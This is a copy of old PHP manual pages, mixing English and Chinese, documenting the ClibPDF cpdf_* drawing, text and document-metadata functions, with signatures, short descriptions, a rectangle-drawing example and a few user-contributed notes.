mfloryan at bigfoot dot com
22-Sep-2001 05:05
As cpdf_open in PHP does not support changing PDF document limits unlike the original function in CpdfLib you have to use this function to create big PDF files.<br>Default maximum number of pages in your PDF file is 100. Just be aware that if you use this function with wrong arguments you might get the segmentation fault error. Best is to use the first parameter to set the desired number of pages and leave default for other (by setting their value to -1).
add a note add a note

后退 | 起点 | 前进
cpdf_finalize | 上一级 | cpdf_import_jpeg


cpdf_import_jpeg

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_import_jpeg -- Opens a JPEG image

Description

bool cpdf_import_jpeg ( int pdf_document, string file_name, float x_coor, float y_coor, float angle, float width, float height, float x_scale, float y_scale, int gsave [, int mode] )

The cpdf_import_jpeg() function opens an image stored in the file with the name file_name. The format of the image has to be jpeg. The image is placed on the current page at position (x_coor, y_coor). The image is rotated by angle degrees. gsave should be non-zero to allow this function to operate correctly.

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_place_inline_image().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_global_set_document_limits | 上一级 | cpdf_lineto


cpdf_lineto

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_lineto -- Draws a line

Description

bool cpdf_lineto ( int pdf_document, float x_coor, float y_coor [, int mode] )

The cpdf_lineto() function draws a line from the current point to the point with coordinates (x_coor, y_coor). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_moveto(),
cpdf_rmoveto() and
cpdf_curveto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_import_jpeg | 上一级 | cpdf_moveto


cpdf_moveto

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_moveto -- Sets current point

Description

bool cpdf_moveto ( int pdf_document, float x_coor, float y_coor [, int mode] )

The cpdf_moveto() function set the current point to the coordinates x_coor and y_coor. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_lineto | 上一级 | cpdf_newpath


cpdf_newpath

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_newpath -- Starts a new path

Description

bool cpdf_newpath ( int pdf_document )

The cpdf_newpath() starts a new path on the document given by the pdf_document parameter. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_moveto | 上一级 | cpdf_open


cpdf_open

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_open -- Opens a new pdf document

Description

int cpdf_open ( int compression [, string filename [, array doc_limits]] )

The cpdf_open() function opens a new pdf document. The first parameter turns document compression on if it is unequal to 0. The second optional parameter sets the file in which the document is written. If it is omitted the document is created in memory and can either be written into a file with the cpdf_save_to_file() or written to standard output with cpdf_output_buffer().

注: The return value will be needed in further versions of ClibPDF as the first parameter in all other functions which are writing to the pdf document.

The ClibPDF library takes the filename "-" as a synonym for stdout. If PHP is compiled as an apache module this will not work because the way ClibPDF outputs to stdout does not work with apache. You can solve this problem by skipping the filename and using cpdf_output_buffer() to output the pdf document.

See also cpdf_close() and cpdf_output_buffer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_newpath | 上一级 | cpdf_output_buffer


cpdf_output_buffer

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_output_buffer -- Outputs the pdf document in memory buffer

Description

bool cpdf_output_buffer ( int pdf_document )

The cpdf_output_buffer() function outputs the pdf document to stdout. The document has to be created in memory which is the case if cpdf_open() has been called with no filename parameter. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_open | 上一级 | cpdf_page_init


cpdf_page_init

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_page_init -- Starts new page

Description

bool cpdf_page_init ( int pdf_document, int page_number, int orientation, float height, float width [, float unit] )

The cpdf_page_init() function starts a new page with height height and width width. 如果成功则返回 TRUE，失败则返回 FALSE。 The page has number page_number and orientation orientation. orientation can be 0 for portrait and 1 for landscape. The last optional parameter unit sets the unit for the coordinate system. The value should be the number of postscript points per unit. Since one inch is equal to 72 points, a value of 72 would set the unit to one inch. The default is also 72.

See also cpdf_set_current_page().

add a note add a note User Contributed Notes
misiek at dione dot ids dot pl
15-Jan-2005 06:11
Unit value for resoution in millimeters: 2.83464566929.
add a note add a note

后退 | 起点 | 前进
cpdf_output_buffer | 上一级 | cpdf_place_inline_image


cpdf_place_inline_image

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_place_inline_image -- Places an image on the page

Description

bool cpdf_place_inline_image ( int pdf_document, int image, float x_coor, float y_coor, float angle, float width, float height, int gsave [, int mode] )

The cpdf_place_inline_image() function places an image created with the PHP image functions on the page at position (x_coor, y_coor). The image can be scaled at the same time. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

注: This function is only available if PHP was compiled with the GD Graphics Library 1.3. See the GD extension installation instructions for further information.

See also cpdf_import_jpeg().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_page_init | 上一级 | cpdf_rect


cpdf_rect

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_rect -- Draw a rectangle

Description

bool cpdf_rect ( int pdf_document, float x_coor, float y_coor, float width, float height [, int mode] )

The cpdf_rect() function draws a rectangle with its lower left corner at point (x_coor, y_coor). This width is set to width. This height is set to height. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

例子 1. Drawing a rectangle

<?php

$cpdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);

// set the fill color to red
cpdf_setrgbcolor($cpdf, 1, 0, 0);

// draw a (180 * 100) rectangle
cpdf_rect($cpdf, 645, 400, 180, 100);

// fill the rectangle
cpdf_fill($cpdf);

cpdf_finalize($cpdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($cpdf);
cpdf_close($cpdf);

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_place_inline_image | 上一级 | cpdf_restore


cpdf_restore

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_restore -- Restores formerly saved environment

Description

bool cpdf_restore ( int pdf_document )

The cpdf_restore() function restores the environment saved with cpdf_save(). It works like the postscript command grestore. Very useful if you want to translate or rotate an object without effecting other objects. 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. Save/Restore

<?php
cpdf_save($pdf);
// do all kinds of rotations, transformations, ...
cpdf_restore($pdf)
?>

See also cpdf_save().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_rect | 上一级 | cpdf_rlineto


cpdf_rlineto

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_rlineto -- Draws a line

Description

bool cpdf_rlineto ( int pdf_document, float x_coor, float y_coor [, int mode] )

The cpdf_rlineto() function draws a line from the current point to the relative point with coordinates (x_coor, y_coor). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_moveto(),
cpdf_rmoveto() and
cpdf_curveto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_restore | 上一级 | cpdf_rmoveto


cpdf_rmoveto

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_rmoveto -- Sets current point

Description

bool cpdf_rmoveto ( int pdf_document, float x_coor, float y_coor [, int mode] )

The cpdf_rmoveto() function set the current point relative to the coordinates x_coor and y_coor. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_moveto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_rlineto | 上一级 | cpdf_rotate_text


cpdf_rotate_text

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_rotate_text -- Sets text rotation angle

Description

bool cpdf_rotate_text ( int pdfdoc, float angle )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_rmoveto | 上一级 | cpdf_rotate


cpdf_rotate

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_rotate -- Sets rotation

Description

bool cpdf_rotate ( int pdf_document, float angle )

The cpdf_rotate() function set the rotation in degrees to angle. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_rotate_text | 上一级 | cpdf_save_to_file


cpdf_save_to_file

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_save_to_file -- Writes the pdf document into a file

Description

bool cpdf_save_to_file ( int pdf_document, string filename )

The cpdf_save_to_file() function outputs the pdf document into a file if it has been created in memory. 如果成功则返回 TRUE，失败则返回 FALSE。

This function is not needed if the pdf document has been open by specifying a filename as a parameter of cpdf_open().

See also cpdf_output_buffer() and cpdf_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_rotate | 上一级 | cpdf_save


cpdf_save

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_save -- Saves current environment

Description

bool cpdf_save ( int pdf_document )

The cpdf_save() function saves the current environment. It works like the postscript command gsave. Very useful if you want to translate or rotate an object without effecting other objects. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_restore().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_save_to_file | 上一级 | cpdf_scale


cpdf_scale

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_scale -- Sets scaling

Description

bool cpdf_scale ( int pdf_document, float x_scale, float y_scale )

The cpdf_scale() function set the scaling factor in both directions. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_save | 上一级 | cpdf_set_action_url


cpdf_set_action_url

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_action_url -- Sets hyperlink

Description

bool cpdf_set_action_url ( int pdfdoc, float xll, float yll, float xur, float xur, string url [, int mode] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_scale | 上一级 | cpdf_set_char_spacing


cpdf_set_char_spacing

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_char_spacing -- Sets character spacing

Description

bool cpdf_set_char_spacing ( int pdf_document, float space )

The cpdf_set_char_spacing() function sets the spacing between characters. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_word_spacing() and cpdf_set_leading().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_action_url | 上一级 | cpdf_set_creator


cpdf_set_creator

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_creator -- Sets the creator field in the pdf document

Description

bool cpdf_set_creator ( int pdf_document, string creator )

The cpdf_set_creator() function sets the creator of a pdf document. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_subject(),
cpdf_set_title() and
cpdf_set_keywords().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_char_spacing | 上一级 | cpdf_set_current_page


cpdf_set_current_page

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_current_page -- Sets current page

Description

bool cpdf_set_current_page ( int pdf_document, int page_number )

The cpdf_set_current_page() function set the page on which all operations are performed. One can switch between pages until a page is finished with cpdf_finalize_page(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_finalize_page().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_creator | 上一级 | cpdf_set_font_directories


cpdf_set_font_directories

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

cpdf_set_font_directories -- Sets directories to search when using external fonts

Description

bool cpdf_set_font_directories ( int pdfdoc, string pfmdir, string pfbdir )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_current_page | 上一级 | cpdf_set_font_map_file


cpdf_set_font_map_file

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

cpdf_set_font_map_file -- Sets fontname to filename translation map when using external fonts

Description

bool cpdf_set_font_map_file ( int pdfdoc, string filename )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_font_directories | 上一级 | cpdf_set_font


cpdf_set_font

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_font -- Select the current font face and size

Description

bool cpdf_set_font ( int pdf_document, string font_name, float size, string encoding )

The cpdf_set_font() function sets the current font face, font size and encoding. Currently only the standard postscript fonts are supported. 如果成功则返回 TRUE，失败则返回 FALSE。

The last parameter encoding can take the following values: "MacRomanEncoding", "MacExpertEncoding", "WinAnsiEncoding", and "NULL". "NULL" stands for the font's built-in encoding.

See the ClibPDF Manual for more information, especially how to support Asian fonts.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_font_map_file | 上一级 | cpdf_set_horiz_scaling


cpdf_set_horiz_scaling

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_horiz_scaling -- Sets horizontal scaling of text

Description

bool cpdf_set_horiz_scaling ( int pdf_document, float scale )

The cpdf_set_horiz_scaling() function sets the horizontal scaling to scale percent. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_font | 上一级 | cpdf_set_keywords


cpdf_set_keywords

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_keywords -- Sets the keywords field of the pdf document

Description

bool cpdf_set_keywords ( int pdf_document, string keywords )

The cpdf_set_keywords() function sets the keywords of a pdf document. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_title(),
cpdf_set_creator() and
cpdf_set_subject().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_horiz_scaling | 上一级 | cpdf_set_leading


cpdf_set_leading

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_leading -- Sets distance between text lines

Description

bool cpdf_set_leading ( int pdf_document, float distance )

The cpdf_set_leading() function sets the distance between text lines. This will be used if text is output by cpdf_continue_text(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_continue_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_keywords | 上一级 | cpdf_set_page_animation


cpdf_set_page_animation

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_page_animation -- Sets duration between pages

Description

bool cpdf_set_page_animation ( int pdf_document, int transition, float duration, float direction, int orientation, int inout )

The cpdf_set_page_animation() function set the transition between following pages. 如果成功则返回 TRUE，失败则返回 FALSE。

The value of transition can be

0 for none,
1 for two lines sweeping across the screen reveal the page,
2 for multiple lines sweeping across the screen reveal the page,
3 for a box reveals the page,
4 for a single line sweeping across the screen reveals the page,
5 for the old page dissolves to reveal the page,
6 for the dissolve effect moves from one screen edge to another,
7 for the old page is simply replaced by the new page (default)

The value of duration is the number of seconds between page flipping.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_leading | 上一级 | cpdf_set_subject


cpdf_set_subject

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_subject -- Sets the subject field of the pdf document

Description

bool cpdf_set_subject ( int pdf_document, string subject )

The cpdf_set_subject() function sets the subject of a pdf document. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_title(),
cpdf_set_creator() and
cpdf_set_keywords().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_page_animation | 上一级 | cpdf_set_text_matrix


cpdf_set_text_matrix

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_text_matrix -- Sets the text matrix

Description

bool cpdf_set_text_matrix ( int pdf_document, array matrix )

The cpdf_set_text_matrix() function sets a matrix which describes a transformation applied on the current text font. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_subject | 上一级 | cpdf_set_text_pos


cpdf_set_text_pos

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_text_pos -- Sets text position

Description

bool cpdf_set_text_pos ( int pdf_document, float x_coor, float y_coor [, int mode] )

The cpdf_set_text_pos() function sets the position of text for the next cpdf_show() function call. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_show() and cpdf_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_text_matrix | 上一级 | cpdf_set_text_rendering


cpdf_set_text_rendering

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_text_rendering -- Determines how text is rendered

Description

bool cpdf_set_text_rendering ( int pdf_document, int rendermode )

The cpdf_set_text_rendering() function determines how text is rendered. 如果成功则返回 TRUE，失败则返回 FALSE。

The possible values for rendermode are 0=fill text, 1=stroke text, 2=fill and stroke text, 3=invisible, 4=fill text and add it to clipping path, 5=stroke text and add it to clipping path, 6=fill and stroke text and add it to clipping path, 7=add it to clipping path.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_text_pos | 上一级 | cpdf_set_text_rise


cpdf_set_text_rise

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_text_rise -- Sets the text rise

Description

bool cpdf_set_text_rise ( int pdf_document, float value )

The cpdf_set_text_rise() function sets the text rising to value units. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_text_rendering | 上一级 | cpdf_set_title


cpdf_set_title

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_title -- Sets the title field of the pdf document

Description

bool cpdf_set_title ( int pdf_document, string title )

The cpdf_set_title() function sets the title of a pdf document. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_subject(),
cpdf_set_creator() and
cpdf_set_keywords().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_text_rise | 上一级 | cpdf_set_viewer_preferences


cpdf_set_viewer_preferences

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_viewer_preferences -- How to show the document in the viewer

Description

bool cpdf_set_viewer_preferences ( int pdfdoc, array preferences )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
richard dot garen at ttu dot NOSPAM dot edu
17-Aug-2002 07:37
cpdf_set_viewer_preferences ( int pdfdoc, array preferences)

cpdf_set_viewer_preferences should come after cpdf_open() and before cpdf_finalize

// array preferences
$CPDFviewerPrefs = Array ("pagemode" => 0, "hidetoolbar" => 0, "hidemenubar" => 0, "hidewindowui" => 0, "fitwindow"
=> 0, "centerwindow" => 0, "pagelayout" => 0, "nonfspagemode" => 0);

Example (For a full screen PDF):
$CPDFviewerPrefs = Array ("pagemode" => 3);  // sets pagemode to PM_FULLSCREEN
cpdf_set_viewer_preferences($cpdf, $CPDFviewerPrefs);  // set preferences

Values for preferences...
For pagemode and nonfspagemode:
PM_NONE  0  (default - no outline or thumbnails)
PM_OUTLINES  1  (open with outlines visible)
PM_THUMBS  2  (open with thumbnails visible)
PM_FULLSCREEN  3  (open in full screen mode)

nonFSpmode specifies the mode that is assumed when exiting the full-screen mode.  PM_FULLSCREEN is not allowed for

nonFSpmode.

For pagelayout:
PL_SINGLE  0  (default - one page at a time)
PL_1COLUMN  1  (displays pages in 1 column)
PL_2LCOLUMN  2  (2 columns, odd pages left)
PL_2RCOLUMN  3  (2 columns, odd pages right)

All other parameters should be either non-zero, or zero (YES or NO).

Visit below for information on the original API written in C
http://www.fastio.com/cpdfman110.pdf
add a note add a note

后退 | 起点 | 前进
cpdf_set_title | 上一级 | cpdf_set_word_spacing


cpdf_set_word_spacing

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_set_word_spacing -- Sets spacing between words

Description

bool cpdf_set_word_spacing ( int pdf_document, float space )

The cpdf_set_word_spacing() function sets the spacing between words. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_set_char_spacing() and cpdf_set_leading().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_viewer_preferences | 上一级 | cpdf_setdash


cpdf_setdash

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setdash -- Sets dash pattern

Description

bool cpdf_setdash ( int pdf_document, float white, float black )

The cpdf_setdash() function set the dash pattern white white units and black black units. If both are 0 a solid line is set. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_set_word_spacing | 上一级 | cpdf_setflat


cpdf_setflat

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setflat -- Sets flatness

Description

bool cpdf_setflat ( int pdf_document, float value )

The cpdf_setflat() function set the flatness to a value between 0 and 100. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setdash | 上一级 | cpdf_setgray_fill


cpdf_setgray_fill

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setgray_fill -- Sets filling color to gray value

Description

bool cpdf_setgray_fill ( int pdf_document, float value )

The cpdf_setgray_fill() function sets the current gray value to fill a path. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_setrgbcolor_fill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setflat | 上一级 | cpdf_setgray_stroke


cpdf_setgray_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setgray_stroke -- Sets drawing color to gray value

Description

bool cpdf_setgray_stroke ( int pdf_document, float gray_value )

The cpdf_setgray_stroke() function sets the current drawing color to the given gray value. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_setrgbcolor_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setgray_fill | 上一级 | cpdf_setgray


cpdf_setgray

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setgray -- Sets drawing and filling color to gray value

Description

bool cpdf_setgray ( int pdf_document, float gray_value )

The cpdf_setgray() function sets the current drawing and filling color to the given gray value. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_setrgbcolor_stroke() and cpdf_setrgbcolor_fill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setgray_stroke | 上一级 | cpdf_setlinecap


cpdf_setlinecap

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setlinecap -- Sets linecap parameter

Description

bool cpdf_setlinecap ( int pdf_document, int value )

The cpdf_setlinecap() function set the linecap parameter between a value of 0 and 2. 0 = butt end, 1 = round, 2 = projecting square. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setgray | 上一级 | cpdf_setlinejoin


cpdf_setlinejoin

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setlinejoin -- Sets linejoin parameter

Description

bool cpdf_setlinejoin ( int pdf_document, int value )

The cpdf_setlinejoin() function set the linejoin parameter between a value of 0 and 2. 0 = miter, 1 = round, 2 = bevel. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setlinecap | 上一级 | cpdf_setlinewidth


cpdf_setlinewidth

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setlinewidth -- Sets line width

Description

bool cpdf_setlinewidth ( int pdf_document, float width )

The cpdf_setlinewidth() function set the line width to width. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setlinejoin | 上一级 | cpdf_setmiterlimit


cpdf_setmiterlimit

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setmiterlimit -- Sets miter limit

Description

bool cpdf_setmiterlimit ( int pdf_document, float value )

The cpdf_setmiterlimit() function set the miter limit to a value greater or equal than 1. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setlinewidth | 上一级 | cpdf_setrgbcolor_fill


cpdf_setrgbcolor_fill

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setrgbcolor_fill -- Sets filling color to rgb color value

Description

bool cpdf_setrgbcolor_fill ( int pdf_document, float red_value, float green_value, float blue_value )

The cpdf_setrgbcolor_fill() function sets the current rgb color value to fill a path. 如果成功则返回 TRUE，失败则返回 FALSE。

注: The values are expected to be floating point values between 0.0 and 1.0. (i.e black is (0.0, 0.0, 0.0) and white is (1.0, 1.0, 1.0)).

See also cpdf_setrgbcolor_stroke() and cpdf_setrgbcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setmiterlimit | 上一级 | cpdf_setrgbcolor_stroke


cpdf_setrgbcolor_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setrgbcolor_stroke -- Sets drawing color to rgb color value

Description

bool cpdf_setrgbcolor_stroke ( int pdf_document, float red_value, float green_value, float blue_value )

The cpdf_setrgbcolor_stroke() function sets the current drawing color to the given rgb color value. 如果成功则返回 TRUE，失败则返回 FALSE。

注: The values are expected to be floating point values between 0.0 and 1.0. (i.e black is (0.0, 0.0, 0.0) and white is (1.0, 1.0, 1.0)).

See also cpdf_setrgbcolor_fill() and cpdf_setrgbcolor().

add a note add a note User Contributed Notes
xerofun at gmx dot li
15-Aug-2003 02:46
You have to set the color as a floating point value. So for white you can't use the values 255, 255, 255 (for red, green and blue) as you would do in a normal graphics program, you would have to enter 1.0, 1.0, 1.0 .

So black would be 0.0, 0.0, 0.0.

Effectively all other colors are in between 0.0 and 1.0.
add a note add a note

后退 | 起点 | 前进
cpdf_setrgbcolor_fill | 上一级 | cpdf_setrgbcolor


cpdf_setrgbcolor

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_setrgbcolor -- Sets drawing and filling color to rgb color value

Description

bool cpdf_setrgbcolor ( int pdf_document, float red_value, float green_value, float blue_value )

The cpdf_setrgbcolor() function sets the current drawing and filling color to the given rgb color value. 如果成功则返回 TRUE，失败则返回 FALSE。

注: The values are expected to be floating point values between 0.0 and 1.0. (i.e black is (0.0, 0.0, 0.0) and white is (1.0, 1.0, 1.0)).

See also cpdf_setrgbcolor_stroke() and cpdf_setrgbcolor_fill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_setrgbcolor_stroke | 上一级 | cpdf_show_xy


cpdf_show_xy

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_show_xy -- Output text at position

Description

bool cpdf_show_xy ( int pdf_document, string text, float x_coor, float y_coor [, int mode] )

The cpdf_show_xy() function outputs the string text at position with coordinates (x_coor, y_coor). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

注: The function cpdf_show_xy() is identical to cpdf_text() without the optional parameters.

See also cpdf_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
